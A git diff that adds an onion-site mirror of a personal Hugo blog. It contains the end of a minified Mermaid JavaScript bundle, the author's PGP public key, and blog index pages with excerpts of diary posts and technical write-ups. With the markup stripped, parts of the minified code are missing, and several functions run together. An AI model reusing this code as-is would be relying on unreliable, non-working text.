t.length}o(wo,"strlen");function l3e(t){return t.length}o(l3e,"sizeof");function ky(t,e){return e.push(t),t}o(ky,"append");var GC=1,Ey=1,c3e=0,ll=0,Ri=0,Cy="";function VC(t,e,r,n,i,a,s,l){return{value:t,root:e,parent:r,type:n,props:i,children:a,line:GC,column:Ey,length:s,return:"",siblings:l}}o(VC,"node");function u3e(){return Ri}o(u3e,"char");function h3e(){return Ri=ll>0?rd(Cy,--ll):0,Ey--,Ri===10&&(Ey=1,GC--),Ri}o(h3e,"prev");function cl(){return Ri=ll2||Sy(Ri)>3?"":" "}o(p3e,"whitespace");function m3e(t,e){for(;--e&&cl()&&!(Ri<48||Ri>102||Ri>57&&Ri<65||Ri>70&&Ri<97););return UC(t,G4()+(e<6&&uh()==32&&cl()==32))}o(m3e,"escaping");function Fz(t){for(;cl();)switch(Ri){case t:return ll;case 34:case 39:t!==34&&t!==39&&Fz(Ri);break;case 40:t===41&&Fz(t);break;case 92:cl();break}return ll}o(Fz,"delimiter");function g3e(t,e){for(;cl()&&t+Ri!==57;)if(t+Ri===84&&uh()===47)break;return"/*"+UC(e,ll-1)+"*"+$4(t===47?t:cl())}o(g3e,"commenter");function y3e(t){for(;!Sy(uh());)cl();return UC(t,ll)}o(y3e,"identifier");function b3e(t){return d3e(qC("",null,null,null,[""],t=f3e(t),0,[0],t))}o(b3e,"compile");function qC(t,e,r,n,i,a,s,l,u){for(var h=0,f=0,d=s,p=0,m=0,g=0,y=1,v=1,x=1,b=0,T="",S=i,w=a,k=n,A=T;v;)switch(g=b,b=cl()){case 40:if(g!=108&&rd(A,d-1)==58){o3e(A+=z4(HC(b),"&","&\f"),"&\f",Bz(h?l[h-1]:0))!=-1&&(x=-1);break}case 34:case 39:case 91:A+=HC(b);break;case 9:case 10:case 13:case 32:A+=p3e(g);break;case 92:A+=m3e(G4()-1,7);continue;case 47:switch(uh()){case 42:case 47:ky(Zit(g3e(cl(),G4()),e,r,u),u),(Sy(g||1)==5||Sy(uh()||1)==5)&&wo(A)&&nd(A,-1,void 0)!==" "&&(A+=" ");break;default:A+="/"}break;case 123*y:l[h++]=wo(A)*x;case 125*y:case 59:case 0:switch(b){case 0:case 125:v=0;case 59+f:x==-1&&(A=z4(A,/\f/g,"")),m>0&&(wo(A)-d||y===0&&g===47)&&ky(m>32?x3e(A+";",n,r,d-1,u):x3e(z4(A," ","")+";",n,r,d-2,u),u);break;case 59:A+=";";default:if(ky(k=v3e(A,e,r,h,f,i,l,T,S=[],w=[],d,a),a),b===123)if(f===0)qC(A,e,k,k,S,a,d,l,w);else{switch(p){case 99:if(rd(A,3)===110)break;case 108:if(rd(A,2)===97)break;default:f=0;case 100:case 109:case 115:}f?qC(t,k,k,n&&ky(v3e(t,k,k,0,0,i,l,T,i,S=[],d,w),w),i,w,d,l,n?S:w):qC(A,k,k,k,[""],w,0,l,w)}}h=f=m=0,y=x=1,T=A="",d=s;break;case 58:d=1+wo(A),m=g;default:if(y<1){if(b==123)--y;else if(b==125&&y++==0&&h3e()==125)continue}switch(A+=$4(b),b*y){case 38:x=f>0?1:(A+="\f",-1);break;case 44:l[h++]=(wo(A)-1)*x,x=1;break;case 64:uh()===45&&(A+=HC(cl())),p=uh(),f=d=wo(T=A+=y3e(G4())),b++;break;case 45:g===45&&wo(A)==2&&(y=0)}}return a}o(qC,"parse");function v3e(t,e,r,n,i,a,s,l,u,h,f,d){for(var p=i-1,m=i===0?a:[""],g=l3e(m),y=0,v=0,x=0;y0?m[b]+" "+T:z4(T,/&\f/g,m[b])))&&(u[x++]=S);return VC(t,e,r,i===0?FC:l,u,h,f,d)}o(v3e,"ruleset");function Zit(t,e,r,n){return VC(t,e,r,BC,$4(u3e()),nd(t,2,-2),0,n)}o(Zit,"comment");function x3e(t,e,r,n,i){return VC(t,e,r,$C,nd(t,0,n),nd(t,n+1,-1),n,i)}o(x3e,"declaration");function WC(t,e){for(var r="",n=0;n{E3e.forEach(t=>{t()}),E3e=[]},"attachFunctions");pt();var C3e=o(t=>t.replace(/^\s*%%(?!{)[^\n]+\n?/gm,"").trimStart(),"cleanupComments");F3();w2();function A3e(t){let e=t.match(B3);if(!e)return{text:t,metadata:{}};let r=Kh(e[1],{schema:jh})??{};r=typeof r=="object"&&!Array.isArray(r)?r:{};let n={};return r.displayMode&&(n.displayMode=r.displayMode.toString()),r.title&&(n.title=r.title.toString()),r.config&&(n.config=r.config),{text:t.slice(e[0].length),metadata:n}}o(A3e,"extractFrontMatter");tr();var eat=o(t=>t.replace(/\r\n?/g,` +`).replace(/<(\w+)([^>]*)>/g,(e,r,n)=>"<"+r+n.replace(/="([^"]*)"/g,"='$1'")+">"),"cleanupText"),tat=o(t=>{let{text:e,metadata:r}=A3e(t),{displayMode:n,title:i,config:a={}}=r;return n&&(a.gantt||(a.gantt={}),a.gantt.displayMode=n),{title:i,config:a,text:e}},"processFrontmatter"),rat=o(t=>{let e=qt.detectInit(t)??{},r=qt.detectDirective(t,"wrap");return Array.isArray(r)?e.wrap=r.some(({type:n})=>n==="wrap"):r?.type==="wrap"&&(e.wrap=!0),{text:bQ(t),directive:e}},"processDirectives");function $z(t){let e=eat(t),r=tat(e),n=rat(r.text),i=Vn(r.config,n.directive);return t=C3e(n.text),{code:t,title:r.title,config:i}}o($z,"preprocessDiagram");NA();e3();tr();function _3e(t){let e=new TextEncoder().encode(t),r=Array.from(e,n=>String.fromCodePoint(n)).join("");return btoa(r)}o(_3e,"toBase64");var nat=5e4,iat="graph TB;a[Maximum text size in diagram exceeded];style a fill:#faa",aat="sandbox",sat="loose",oat="http://www.w3.org/2000/svg",lat="http://www.w3.org/1999/xlink",cat="http://www.w3.org/1999/xhtml",uat="100%",hat="100%",fat="border:0;margin:0;",dat="margin:0",pat="allow-top-navigation-by-user-activation allow-popups",mat='The "iframe" tag is not supported by your browser.',gat=["foreignobject"],yat=["dominant-baseline"];function N3e(t){let e=$z(t);return By(),ZG(e.config??{}),e}o(N3e,"processAndSetConfigs");async function vat(t,e){wy();try{let{code:r,config:n}=N3e(t);return{diagramType:(await M3e(r)).type,config:n}}catch(r){if(e?.suppressErrors)return!1;throw r}}o(vat,"parse");var D3e=o((t,e,r=[])=>` +.${t} ${e} { ${r.join(" !important; ")} !important; }`,"cssImportantStyles"),xat=o((t,e=new Map)=>{let r="";if(t.themeCSS!==void 0&&(r+=` +${t.themeCSS}`),t.fontFamily!==void 0&&(r+=` +:root { --mermaid-font-family: ${t.fontFamily}}`),t.altFontFamily!==void 0&&(r+=` +:root { --mermaid-alt-font-family: ${t.altFontFamily}}`),e instanceof Map){let s=t.htmlLabels??t.flowchart?.htmlLabels?["> *","span"]:["rect","polygon","ellipse","circle","path"];e.forEach(l=>{mr(l.styles)||s.forEach(u=>{r+=D3e(l.id,u,l.styles)}),mr(l.textStyles)||(r+=D3e(l.id,"tspan",(l?.textStyles||[]).map(u=>u.replace("color","fill"))))})}return r},"createCssStyles"),bat=o((t,e,r,n)=>{let i=xat(t,r),a=aH(e,i,t.themeVariables);return WC(b3e(`${n}{${a}}`),T3e)},"createUserStyles"),Tat=o((t="",e,r)=>{let n=t;return!r&&!e&&(n=n.replace(/marker-end="url\([\d+./:=?A-Za-z-]*?#/g,'marker-end="url(#')),n=Ji(n),n=n.replace(/
    /g,"
    "),n},"cleanUpSvgCode"),wat=o((t="",e)=>{let r=e?.viewBox?.baseVal?.height?e.viewBox.baseVal.height+"px":hat,n=_3e(`${t}`);return``},"putIntoIFrame"),L3e=o((t,e,r,n,i)=>{let a=t.append("div");a.attr("id",r),n&&a.attr("style",n);let s=a.append("svg").attr("id",e).attr("width","100%").attr("xmlns",oat);return i&&s.attr("xmlns:xlink",i),s.append("g"),t},"appendDivSvgG");function R3e(t,e){return t.append("iframe").attr("id",e).attr("style","width: 100%; height: 100%;").attr("sandbox","")}o(R3e,"sandboxedIframe");var kat=o((t,e,r,n)=>{t.getElementById(e)?.remove(),t.getElementById(r)?.remove(),t.getElementById(n)?.remove()},"removeExistingElements"),Eat=o(async function(t,e,r){wy();let n=N3e(e);e=n.code;let i=Qt();X.debug(i),e.length>(i?.maxTextSize??nat)&&(e=iat);let a="#"+t,s="i"+t,l="#"+s,u="d"+t,h="#"+u,f=o(()=>{let D=qe(p?l:h).node();D&&"remove"in D&&D.remove()},"removeTempElements"),d=qe("body"),p=i.securityLevel===aat,m=i.securityLevel===sat,g=i.fontFamily;if(r!==void 0){if(r&&(r.innerHTML=""),p){let E=R3e(qe(r),s);d=qe(E.nodes()[0].contentDocument.body),d.node().style.margin=0}else d=qe(r);L3e(d,t,u,`font-family: ${g}`,lat)}else{if(kat(document,t,u,s),p){let E=R3e(qe("body"),s);d=qe(E.nodes()[0].contentDocument.body),d.node().style.margin=0}else d=qe("body");L3e(d,t,u)}let y,v;try{y=await Ay.fromText(e,{title:n.title})}catch(E){if(i.suppressErrorRendering)throw f(),E;y=await Ay.fromText("error"),v=E}let x=d.select(h).node(),b=y.type,T=x.firstChild,S=T.firstChild,w=y.renderer.getClasses?.(e,y),k=bat(i,b,w,a),A=document.createElement("style");A.innerHTML=k,T.insertBefore(A,S);try{await y.renderer.draw(e,t,g4.version,y)}catch(E){throw i.suppressErrorRendering?f():o2e.draw(e,t,g4.version),E}let C=d.select(`${h} svg`),R=y.db.getAccTitle?.(),I=y.db.getAccDescription?.();Cat(b,C,R,I),d.select(`[id="${t}"]`).selectAll("foreignobject > *").attr("xmlns",cat);let L=d.select(h).node().innerHTML;if(X.debug("config.arrowMarkerAbsolute",i.arrowMarkerAbsolute),L=Tat(L,p,vr(i.arrowMarkerAbsolute)),p){let E=d.select(h+" svg").node();L=wat(L,E)}else m||(L=yh.sanitize(L,{ADD_TAGS:gat,ADD_ATTR:yat,HTML_INTEGRATION_POINTS:{foreignobject:!0}}));if(S3e(),v)throw v;return f(),{diagramType:b,svg:L,bindFunctions:y.db.bindFunctions}},"render");function Sat(t={}){let e=Rn({},t);e?.fontFamily&&!e.themeVariables?.fontFamily&&(e.themeVariables||(e.themeVariables={}),e.themeVariables.fontFamily=e.fontFamily),jG(e),e?.theme&&e.theme in So?e.themeVariables=So[e.theme].getThemeVariables(e.themeVariables):e&&(e.themeVariables=So.default.getThemeVariables(e.themeVariables));let r=typeof e=="object"?C7(e):A7();Dy(r.logLevel),wy()}o(Sat,"initialize");var M3e=o((t,e={})=>{let{code:r}=$z(t);return Ay.fromText(r,e)},"getDiagramFromText");function Cat(t,e,r,n){w3e(e,t),k3e(e,r,n,e.attr("id"))}o(Cat,"addA11yInfo");var id=Object.freeze({render:Eat,parse:vat,getDiagramFromText:M3e,initialize:Sat,getConfig:Qt,setConfig:n3,getSiteConfig:A7,updateSiteConfig:KG,reset:o(()=>{By()},"reset"),globalReset:o(()=>{By(gh)},"globalReset"),defaultConfig:gh});Dy(Qt().logLevel);By(Qt());Nf();tr();var Aat=o((t,e,r)=>{X.warn(t),qL(t)?(r&&r(t.str,t.hash),e.push({...t,message:t.str,error:t})):(r&&r(t),t instanceof Error&&e.push({str:t.message,message:t.message,hash:t.name,error:t}))},"handleError"),I3e=o(async function(t={querySelector:".mermaid"}){try{await _at(t)}catch(e){if(qL(e)&&X.error(e.str),hh.parseError&&hh.parseError(e),!t.suppressErrors)throw X.error("Use the suppressErrors option to suppress these errors"),e}},"run"),_at=o(async function({postRenderCallback:t,querySelector:e,nodes:r}={querySelector:".mermaid"}){let n=id.getConfig();X.debug(`${t?"":"No "}Callback function found`);let i;if(r)i=r;else if(e)i=document.querySelectorAll(e);else throw new Error("Nodes and querySelector are both undefined");X.debug(`Found ${i.length} diagrams`),n?.startOnLoad!==void 0&&(X.debug("Start On Load: "+n?.startOnLoad),id.updateSiteConfig({startOnLoad:n?.startOnLoad}));let a=new qt.InitIDGenerator(n.deterministicIds,n.deterministicIDSeed),s,l=[];for(let u of Array.from(i)){X.info("Rendering diagram: "+u.id);if(u.getAttribute("data-processed"))continue;u.setAttribute("data-processed","true");let h=`mermaid-${a.next()}`;s=u.innerHTML,s=P3(qt.entityDecode(s)).trim().replace(//gi,"
    ");let f=qt.detectInit(s);f&&X.debug("Detected early reinit: ",f);try{let{svg:d,bindFunctions:p}=await F3e(h,s,u);u.innerHTML=d,t&&await t(h),p&&p(u)}catch(d){Aat(d,l,hh.parseError)}}if(l.length>0)throw l[0]},"runThrowsErrors"),O3e=o(function(t){id.initialize(t)},"initialize"),Dat=o(async function(t,e,r){X.warn("mermaid.init is deprecated. Please use run instead."),t&&O3e(t);let n={postRenderCallback:r,querySelector:".mermaid"};typeof e=="string"?n.querySelector=e:e&&(e instanceof HTMLElement?n.nodes=[e]:n.nodes=e),await I3e(n)},"init"),Lat=o(async(t,{lazyLoad:e=!0}={})=>{wy(),ev(...t),e===!1&&await r3e()},"registerExternalDiagrams"),P3e=o(function(){if(hh.startOnLoad){let{startOnLoad:t}=id.getConfig();t&&hh.run().catch(e=>X.error("Mermaid failed to initialize",e))}},"contentLoaded");if(typeof document<"u"){window.addEventListener("load",P3e,!1)}var Rat=o(function(t){hh.parseError=t},"setParseErrorHandler"),YC=[],zz=!1,B3e=o(async()=>{if(!zz){for(zz=!0;YC.length>0;){let t=YC.shift();if(t)try{await t()}catch(e){X.error("Error executing queue",e)}}zz=!1}},"executeQueue"),Nat=o(async(t,e)=>new Promise((r,n)=>{let i=o(()=>new Promise((a,s)=>{id.parse(t,e).then(l=>{a(l),r(l)},l=>{X.error("Error parsing",l),hh.parseError?.(l),s(l),n(l)})}),"performCall");YC.push(i),B3e().catch(n)}),"parse"),F3e=o((t,e,r)=>new Promise((n,i)=>{let a=o(()=>new Promise((s,l)=>{id.render(t,e,r).then(u=>{s(u),n(u)},u=>{X.error("Error parsing",u),hh.parseError?.(u),l(u),i(u)})}),"performCall");YC.push(a),B3e().catch(i)}),"render"),Mat=o(()=>Object.keys(gu).map(t=>({id:t})),"getRegisteredDiagramsMetadata"),hh={startOnLoad:!0,mermaidAPI:id,parse:Nat,render:F3e,init:Dat,run:I3e,registerExternalDiagrams:Lat,registerLayoutLoaders:zI,initialize:O3e,parseError:void 0,contentLoaded:P3e,setParseErrorHandler:Rat,detectType:_0,registerIconPacks:O3,getRegisteredDiagramsMetadata:Mat},Iat=hh;return Y3e(Oat);})(); +/*! Check if previously processed */ +/*! + * Wait for document loaded before starting the execution + */ +/*! Bundled license information: + +dompurify/dist/purify.es.mjs: + (*! @license DOMPurify 3.2.6 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/3.2.6/LICENSE *) + +js-yaml/dist/js-yaml.mjs: + (*! js-yaml 4.1.0 https://github.com/nodeca/js-yaml @license MIT *) + +lodash-es/lodash.js: + (** + * @license + * Lodash (Custom Build) + * Build: `lodash modularize exports="es" -o ./` + * Copyright OpenJS Foundation and other contributors + * Released under MIT license + * Based on Underscore.js 1.8.3 + * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors + *) + +cytoscape/dist/cytoscape.esm.mjs: + (*! + Embeddable Minimum Strictly-Compliant Promises/A+ 1.1.1 Thenable + Copyright (c) 2013-2014 Ralf S. Engelschall (http://engelschall.com) + Licensed under The MIT License (http://opensource.org/licenses/MIT) + *) + (*! + Event object based on jQuery events, MIT license + + https://jquery.org/license/ + https://tldrlegal.com/license/mit-license + https://github.com/jquery/jquery/blob/master/src/event.js + *) + (*! Bezier curve function generator. Copyright Gaetan Renaudeau. MIT License: http://en.wikipedia.org/wiki/MIT_License *) + (*! Runge-Kutta spring physics function generator. Adapted from Framer.js, copyright Koen Bok. MIT License: http://en.wikipedia.org/wiki/MIT_License *) +*/ +globalThis["mermaid"] = globalThis.__esbuild_esm_mermaid_nm["mermaid"].default; diff --git a/public-onion/keys/iman-alipour-pgp.asc b/public-onion/keys/iman-alipour-pgp.asc new file mode 100644 index 0000000..b7588db --- /dev/null +++ b/public-onion/keys/iman-alipour-pgp.asc @@ -0,0 +1,51 @@ +-----BEGIN PGP PUBLIC KEY BLOCK----- + +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 +=mAs8 +-----END PGP PUBLIC KEY BLOCK----- diff --git a/public-onion/keys/iman-fpr.txt b/public-onion/keys/iman-fpr.txt new file mode 100644 index 0000000..7f5c1c0 --- /dev/null +++ b/public-onion/keys/iman-fpr.txt @@ -0,0 +1 @@ +55A2A5DE84792BACC6CAEE3FB5882850E04C8D2A diff --git a/public-onion/page/1/index.html b/public-onion/page/1/index.html new file mode 100644 index 0000000..bf22177 --- /dev/null +++ b/public-onion/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ + + + + + + diff --git a/public-onion/page/2/index.html b/public-onion/page/2/index.html new file mode 100644 index 0000000..6162510 --- /dev/null +++ b/public-onion/page/2/index.html @@ -0,0 +1,563 @@ + + + + + + + + +AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    +

    How am I doing? +

    +
    +
    +

    This constant feeling of how people think about me, how they view me, what is happening with them is killing me. I’m interpretting every little move, every action, every response as me being in trouble. Not only is it exhausting, but also it’s draining me. Draining me of happiness, being in pursuit of happyness. +Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved. +...

    +
    +
    December 15, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Setting Boundries +

    +
    +
    +

    I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me? +Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words. +...

    +
    +
    December 4, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    November '25 +

    +
    +
    +

    4th Again, let’s setup some goals for the month. +Literature review Keeping up with my coursework Working on my codebase Getting healthier diet and excercise-wise 30th I did a bit of literature review, it’s still lacking unfortunately. +Coursework is ok-ish. I’ve been trying to work on assignements and understand them. +I rewrote the whole codebase, now we have a modularized design that should be easier to add to. +I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later. +...

    +
    +
    November 30, 2025 · 1 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) +

    +
    +
    +

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    +
    +
    November 23, 2025 · 18 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    The Loop of Doom +

    +
    +
    +

    It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting. +...

    +
    +
    November 7, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Cupid is so dumb +

    +
    +
    +

    The lyrics are being played in my brain day and night. +“A hopeless romantic all my life” +“Surrounded by couples all the time” +“I guess I should take it as a sign” +But… “I gave a second chance to Cupid” +“But now I’m left here feelin’ stupid” +I might’ve given more than two chances to cupid. +But I’m still left here felling’ stupid. +“I look for his arrows every day” +...

    +
    +
    November 4, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    October '25 +

    +
    +
    +

    1st Ok, let’s start the month by declareing some goals and agendas. +What do I want to do this month? +Finish previous semester. Pick the last of the course work for my prep phase. Finalize the CoNEXT student workshop paper. Finish my second RIL. Start my 3rd and last RIL. Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? More literature review, persumabely all of FOCI related papers this month. Work on my codebase: Do code cleaning Add comments for code Start working on ICMP stuff More socializing! :-) A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. Enhance your routines and add exercise to it please! Alright. Now that the goals are set, let’s start the month strong! My last exam for pervious semester will be on October 7th. I have done 74 ECTS, another 6 will be my last RIL. If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. I then just need to do my QE for which I should submit my first paper for which I’m doing work! +...

    +
    +
    October 31, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    La Plaza: The Falcones & the Morettis +

    +
    +
    +

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    +
    +
    October 25, 2025 · 13 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Sadness +

    +
    +
    +

    Honestly, I don’t know why I’m doing any of this. I really don’t. I think for me this is a scape from reality. A scape from the sad thing that happened earlier this month. A scape from feeling used, or let’s say abused if you will, and then thrown away. Just like a piece of trash. It’s been hurting more and more. I’ve been lying to myself that I don’t care. That I’ve moved on. +...

    +
    +
    October 24, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    + +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/page/3/index.html b/public-onion/page/3/index.html new file mode 100644 index 0000000..e859114 --- /dev/null +++ b/public-onion/page/3/index.html @@ -0,0 +1,559 @@ + + + + + + + + +AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    +
    +
    October 23, 2025 · 15 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Danya +

    +
    +
    +

    Daniel Naroditsky has passed away. I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. I like Fabi a lot, but my all-time favorite is Hikaru. Danya was my favorite commentator. Someone who was so fun to watch explaining complex positions. I think he was indeed, if not the best, one of the best at it. +The occasion is grim. However, let’s remember the immense pressure he was under. Let’s remember how he was accused of cheating by Kramnik many, many times. By a former world champion. Someone who has accused many and has ruined their lives for no reason. The likes of Hikaru! +...

    +
    +
    October 21, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Skin routine +

    +
    +
    +

